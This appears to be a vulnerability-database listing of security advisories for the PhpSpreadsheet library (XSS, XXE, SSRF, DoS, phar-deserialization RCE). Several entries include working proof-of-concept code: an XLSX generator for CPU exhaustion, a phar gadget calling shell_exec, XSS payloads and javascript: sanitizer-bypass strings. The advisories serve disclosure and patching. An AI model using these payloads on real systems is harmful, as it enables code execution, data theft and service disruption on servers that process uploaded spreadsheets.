Search for packages
| purl | pkg:composer/phpoffice/phpspreadsheet@2.2.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-3br8-2upe-gkdp
Aliases: CVE-2024-45290 GHSA-5gpr-w2p5-6m37 |
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted `php://filter` URLs an attacker can leak the contents of any file or URL. |
Affected by 17 other vulnerabilities. |
|
VCID-4dcc-9f7b-7ygb
Aliases: CVE-2024-56366 GHSA-c6fv-7vh8-2rhr |
PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file # Unauthorized Reflected XSS in the `Accounting.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the currency variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, which is controlled by the attacker.  *Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability* |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-ahdt-gmt1-7bb8
Aliases: CVE-2024-56411 GHSA-hwcp-2h35-p66w |
PhpSpreadsheet has a Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header # Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description**: the HTML page is formed without sanitizing the hyperlink base **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateHTMLHeader` **Exploitation conditions**: a user viewing a specially generated Excel file **Mitigation**: additional sanitization of special characters in a string **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability of the hyperlink base in the HTML page header in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response. *Listing 8. Source code on the server* ``` <?php require __DIR__ . '/vendor/autoload.php'; $inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a HyperlinkBase in the file is inserted into the `docProps/app.xml` file.  *Figure 14. Embedding the payload* After the changes were made, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into the HTML representation, a property is obtained that participates in the formation of a string without sanitization.  *Figure 15. Generating the HTML page header using the HyperlinkBase property* After generating and displaying the HTML representation of the XLSX file, arbitrary JavaScript code will be executed. <img width="356" alt="fig16" src="https://github.com/user-attachments/assets/c3694661-31e3-4be8-9a86-6eb4dd4647b5" /> *Figure 16. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)** |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-basq-zcqw-gufe
Aliases: CVE-2024-45293 GHSA-6hwr-6v2f-3m88 |
XXE in PHPSpreadsheet's XLSX reader The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. |
Affected by 17 other vulnerabilities. |
|
VCID-bwgw-r1g3-8fhn
Aliases: CVE-2024-56365 GHSA-jmpx-686v-c3wx |
PhpSpreadsheet allows unauthorized Reflected XSS in the constructor of the Downloader class # Unauthorized Reflected XSS in the constructor of the `Downloader` class **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/download.php` script, an attacker can perform a XSS-type attack **Impact**: execution of arbitrary JavaScript code in the browser **Vulnerable component**: the constructor of the `Downloader` class **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the `name` and `type` variables **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in the constructor of the `Downloader` class) in Phpspreadsheet. The latest version (3.6.0) of the `phpoffice/phpspreadsheet` library was installed. The installation was carried out with the inclusion of examples. *Listing 1. Installing the `phpoffice/phpspreadsheet` library* ``` $ composer require phpoffice/phpspreadsheet --prefer-source ``` The `./vendor/phpoffice/phpspreadsheet/samples/download.php` file processes the GET parameters `name` and `type`.  *Figure 1. The `./vendor/phpoffice/phpspreadsheet/samples/download.php` file accepts GET parameters.* Consider the constructor of the `Downloader` class, where GET parameters are passed. Error is displayed without sanitization using GET parameters transmitted from the user.  *Figure 2. Error is displayed without sanitization* When clicking on the following link, arbitrary JavaScript code will be executed. |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-dhfy-12tw-uuh2
Aliases: CVE-2024-56408 GHSA-x88g-h956-m5xg |
PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file # Unauthorized Reflected XSS in `Convert-Online.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the quantity variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.  *Figure 4. The message with the quantity parameter is displayed without sanitization* The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization. <img width="460" alt="fig5" src="https://github.com/user-attachments/assets/022323c9-ca1e-44ea-9380-37ed7848e971" /> *Figure 5. In the server's response , the quantity variable is displayed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability* |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-dzsc-krs5-kkhp
Aliases: CVE-2026-40902 GHSA-7c6m-4442-2x6m |
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions ## Summary The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. ## Details In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking: ```php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW ``` This value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`: ```php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` The inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86): ```php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow(); ``` Notably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks. ## PoC **Step 1: Create the malicious XLSX file (~1.6KB)** ```python import zipfile import io content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>' rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>' workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>' wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>' sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>' with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/_rels/workbook.xml.rels', wb_rels) zf.writestr('xl/worksheets/sheet1.xml', sheet) print("Created dos_row.xlsx") ``` **Step 2: Load with PhpSpreadsheet (CPU exhaustion)** ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dos_row.xlsx'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999 // This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion } ``` **Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely. ## Impact - **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file. - **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely. ## Recommended Fix Add row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161: ```php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r']; // After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) { continue; } ``` The `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-f4kw-je55-nufw
Aliases: CVE-2024-47873 GHSA-jw4x-v69f-hh5w |
XmlScanner bypass leads to XXE The [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks. However, the regexes used in the `scan` method and the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method can be bypassed by using UCS-4 and encoding guessing as described in <https://www.w3.org/TR/xml/#sec-guessing-no-ext-info>. |
Affected by 15 other vulnerabilities. Affected by 15 other vulnerabilities. |
|
VCID-g5n6-3aer-gkgd
Aliases: CVE-2026-34084 GHSA-q4q6-r8wh-5cgh |
PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`. The 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below. This results in a SSRF, at "best", and RCE at worse. This was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`). ## PoC To reproduce the vulnerable behavior, the following scripts were used: `php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ```ini phar.readonly=0 ``` `make_phar.php` to create the malicious file: ```php <?php // php -c php.ini make_phar.php class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $pop = new GadgetClass('touch /tmp/poc.txt'); $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering(); rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n"; ``` `test.php` showcases the unsafe pattern: ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; class GadgetClass { public $data; function __construct($d) { $this->data = $d; } function __destruct() { shell_exec($this->data); } } $filename = $argv[1] ?? null; if (!$filename) { echo "Usage: php test.php <path>\n"; echo " e.g. php test.php phar://exploit.xlsx/whatever\n"; exit(1); } echo "Calling IOFactory::load('" . $filename . "')\n"; try { $spreadsheet = IOFactory::load($filename); var_dump($spreadsheet); } catch (Throwable $e) { echo "Vuln has still triggered even if exception triggers.\n"; } ``` ### RCE Run the PoC (for RCE): ```bash php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt ``` The file `/tmp/poc.txt` should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. ### SSRF Run the PoC (for SSRF): ```bash ncat -lvp 21 #run on another terminal php test.php ftp://127.0.0.1:21/test ``` Observe a connection is made to `127.0.0.1` on port `21`. ## Root Cause Analysis Following the API exposed by the library, using `IOFactory::load`, the code proceeds as follows: ```php IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> is_file($filename); ``` The one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios. ```php public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } } /** @param mixed[] $data */ public function __unserialize(array $data): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } ``` Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts. ## Suggested mitigations Use `is_file` only after making sure the filename does not contain any php wrapper: ```php $scheme = parse_url($filename, PHP_URL_SCHEME); // strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :) // since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge if ($scheme !== null && strlen($scheme) > 1) { throw new \PhpOffice\PhpSpreadsheet\Exception( "Stream wrappers are not permitted as file paths: {$filename}" ); } ``` or perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly: ```php $real = realpath($filename); // not php wrapper aware AFAIK if ($real === false) { throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}"); } // from here on, $real should be a clean absolute path so we can pass it to is_file() if (!is_file($real)) { throw new ... } ``` > Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it. |
Affected by 4 other vulnerabilities. Affected by 4 other vulnerabilities. Affected by 4 other vulnerabilities. |
|
VCID-ghv1-bdy8-hygk
Aliases: CVE-2024-56410 GHSA-wv23-996v-q229 |
PhpSpreadsheet has a Cross-Site Scripting (XSS) vulnerability in custom properties # Cross-Site Scripting (XSS) vulnerability in custom properties **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description**: the HTML page is generated without clearing custom properties **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateMeta` **Exploitation conditions**: a user viewing a specially generated Excel file **Mitigation**: additional sanitization of special characters in a string **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Cross-Site Scripting (XSS) vulnerability in custom properties in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response. *Listing 9. Source code on the server* ``` <?php require __DIR__ . '/vendor/autoload.php'; $inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` An attacker can embed a payload in a file property that will result in the execution of arbitrary JavaScript code. The Excel file is unpacked and a custom property in the file is inserted into the `docProps/custom.xml` file.  *Figure 17. Embedding the payload* After making the changes, a new archive with the xlsx extension was created. At the moment of converting the xlsx file into an HTML representation, a property is obtained that participates in the formation of a string without sanitization.  *Figure 18. Getting a custom property* When calling the static `generateMeta` method, you can see that the key of the custom property is displayed without sanitization.  *Figure 19. Getting a custom property* As a result, when viewing the excel file as the HTML representation, arbitrary JavaScript code will be executed. <img width="356" alt="fig20" src="https://github.com/user-attachments/assets/a6ed21e3-685c-415c-b2dc-453bc0652bef" /> *Figure 20. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)** |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-j554-kmyb-7fcj
Aliases: CVE-2024-45060 GHSA-v66g-p9x6-v98p |
PhpSpreadsheet has an Unauthenticated Cross-Site-Scripting (XSS) in sample file One of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection. |
Affected by 17 other vulnerabilities. |
|
VCID-jw3b-hm9c-sbd2
Aliases: CVE-2026-35453 GHSA-6wpp-88cp-7q68 |
PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer ### Summary The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file. ### Details #### 1. Conditional escaping in `Html.php:1586-1594` ```php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); } ``` `htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely. #### 2. Early return in `Formatter.php:136-152` ```php if (preg_match(self::SECTION_SPLIT, $format) === 0 && preg_match(self::SYMBOL_AT, $formatx) === 1) { if (!str_contains($format, '"')) { return str_replace('@', /* raw value */, $format); } return str_replace(/* ... preg_replace with raw value ... */); } ``` When the format code contains `@` with additional literal text (e.g., `@ "items"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked. ### PoC **test.php** ``` php <?php require '/app/vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"'; $sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode); $writer = new Html($spreadsheet); $html = $writer->generateHTMLAll(); file_put_contents('/app/output.html', $html); echo "HTML output saved to /app/output.html\n"; ``` The produced output contains unescaped data. ``` html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head> <body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html> ``` <img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" /> ### Impact The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-m1nr-bjta-gkds
Aliases: CVE-2024-45291 GHSA-w9xv-qf98-ccq4 |
PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with `$writer->setEmbedImages(true);` those files will be included in the output as `data:` URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability. |
Affected by 17 other vulnerabilities. |
|
VCID-m982-r6d1-c3bd
Aliases: CVE-2024-56412 GHSA-q9jv-mm3r-j47r |
PhpSpreadsheet allows bypass XSS sanitizer using the javascript protocol and special characters # Bypass XSS sanitizer using the javascript protocol and special characters **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0**: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description**: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateRow` **Exploitation conditions**: a user viewing a specially generated Excel file **Mitigation**: additional sanitization of special characters in a string **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XLSX file into a HTML representation and displays it in the response. *Listing 6. Source code on the server* ``` <?php require __DIR__ . '/vendor/autoload.php'; $inputFileName = './doc/Book1.xlsx'; $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` An attacker can use special characters so that this library processes the javascript protocol with special characters and generates a HTML link. The Excel file is unpacked and a hyperlink in the file is inserted into the `xl/worksheets/sheet1.xml` file.  *Figure 11. Using the javascript protocol with special characters* Some payloads help bypass the security system and carry out a XSS attack. *Listing 7. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` jav	ascript:alert() jav
ascript:alert() jav
ascript:alert() ``` It's clear that the javascript protocol with special characters is used.  *Figure 12. Using the javascript protocol with special characters* Due to the special characters, the execution stream ends up on line 1543, and the link is built in HTML form with the javascript protocol. <img width="373" alt="fig13" src="https://github.com/user-attachments/assets/3ca0c3c6-daa9-4502-ad9e-b803f308fd26" /> *Figure 13. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)** |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-pxnj-v1pe-xyfk
Aliases: CVE-2024-45292 GHSA-r8w8-74ww-j4wh |
PhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via JavaScript hyperlinks `\PhpOffice\PhpSpreadsheet\Writer\Html` does not sanitize "javascript:" URLs from hyperlink `href` attributes, resulting in a Cross-Site Scripting vulnerability. |
Affected by 17 other vulnerabilities. |
|
VCID-qayz-3ufe-77ba
Aliases: CVE-2024-56409 GHSA-j2xg-cjcx-4677 |
PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file # Unauthorized Reflected XSS in `Currency.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the `currency` variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack. Strings are formed using the `currency` parameter without sanitization, controlled by an attacker.  *Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability* |
Affected by 8 other vulnerabilities. Affected by 8 other vulnerabilities. |
|
VCID-qz8g-w1uw-c7bb
Aliases: CVE-2026-40296 GHSA-hrmw-qprp-wgmc |
